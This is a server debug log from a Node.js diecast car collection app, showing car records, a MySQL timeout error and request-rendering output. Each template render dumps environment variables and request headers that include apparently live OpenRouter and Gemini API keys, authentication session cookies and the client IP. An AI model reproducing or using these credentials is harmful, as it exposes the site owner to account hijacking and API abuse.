    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-04 11:42:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-04 11:42:31' as DATETIME)"
}
2026-02-04T11:44:43.680Z server-connect:router Serving templateView /diecast-reports
2026-02-04T11:44:43.681Z server-connect:app Executing action step identify
2026-02-04T11:44:43.681Z server-connect:app options: { provider: 'security' }
2026-02-04T11:44:43.681Z server-connect:output identity: 1
2026-02-04T11:44:43.681Z server-connect:app Executing action step restrict
2026-02-04T11:44:43.681Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:44:43.682Z server-connect:output restrict: undefined
2026-02-04T11:44:43.682Z server-connect:router Render template diecast-reports
2026-02-04T11:44:43.682Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1188-8daiTDNaa+cht8z85wXipDfT/Ag"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-reports',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-reports',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1188-8daiTDNaa+cht8z85wXipDfT/Ag"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T11:44:43.978Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2026-02-04T11:44:43.979Z server-connect:app Executing action step identify
2026-02-04T11:44:43.979Z server-connect:app options: { provider: 'security' }
2026-02-04T11:44:43.979Z server-connect:output identity: 1
2026-02-04T11:44:43.979Z server-connect:app Executing action step restrict
2026-02-04T11:44:43.979Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:44:43.979Z server-connect:output restrict: undefined
2026-02-04T11:44:43.979Z server-connect:app Executing action step custom
2026-02-04T11:44:43.979Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-02-04T11:44:43.981Z server-connect:output list: [
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  { series: 176, name: 'HW Silver Series', total: 6 },
  { series: 195, name: 'Majorette Castheads Gift Set', total: 5 },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 107, name: 'HW EV', total: 5 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 101, name: 'HW Then and now', total: 5 },
  { series: 193, name: 'Majorette Black Edition Gift Set', total: 5 },
  { series: 194, name: 'Majorette Mercedes AMG Gift Set', total: 5 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 97, name: 'HW Hot Trucks', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 150, name: 'HW Reverse Rake', total: 3 },
  { series: 149, name: 'HW Compact Kings', total: 3 },
  { series: 92, name: 'Fantasy', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 151, name: 'HW Rod Squad', total: 2 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 },
  { series: 181, name: 'HW Pop Culture', total: 1 },
  { series: 180, name: 'HW Pantone', total: 1 },
  { series: 179, name: 'HW Euro', total: 1 },
  { series: 178, name: 'HW Ride-Ons', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 163, name: 'HW Starting Grid', total: 1 }
]
2026-02-04T11:48:28.146Z server-connect:router Serving templateView /diecast
2026-02-04T11:48:28.146Z server-connect:app Executing action step identify
2026-02-04T11:48:28.146Z server-connect:app options: { provider: 'security' }
2026-02-04T11:48:28.147Z server-connect:output identity: 1
2026-02-04T11:48:28.147Z server-connect:app Executing action step restrict
2026-02-04T11:48:28.147Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:48:28.147Z server-connect:output restrict: undefined
2026-02-04T11:48:28.147Z server-connect:router Render template diecast
2026-02-04T11:48:28.147Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T11:48:28.467Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:48:28.469Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:48:28.470Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:48:28.471Z server-connect:app Executing action step identify
2026-02-04T11:48:28.471Z server-connect:app options: { provider: 'security' }
2026-02-04T11:48:28.471Z server-connect:output identity: 1
2026-02-04T11:48:28.471Z server-connect:app Executing action step restrict
2026-02-04T11:48:28.471Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:48:28.473Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:48:28.473Z server-connect:app Executing action step identify
2026-02-04T11:48:28.473Z server-connect:app options: { provider: 'security' }
2026-02-04T11:48:28.473Z server-connect:output identity: 1
2026-02-04T11:48:28.473Z server-connect:app Executing action step restrict
2026-02-04T11:48:28.473Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:48:28.473Z server-connect:output restrict: undefined
2026-02-04T11:48:28.473Z server-connect:app Executing action step select
2026-02-04T11:48:28.474Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:48:28.474Z server-connect:app Executing action step identify
2026-02-04T11:48:28.474Z server-connect:app options: { provider: 'security' }
2026-02-04T11:48:28.474Z server-connect:output identity: 1
2026-02-04T11:48:28.474Z server-connect:app Executing action step restrict
2026-02-04T11:48:28.474Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:48:28.475Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T11:48:28.475Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T11:48:28.476Z server-connect:output restrict: undefined
2026-02-04T11:48:28.476Z server-connect:app Executing action step select
2026-02-04T11:48:28.476Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
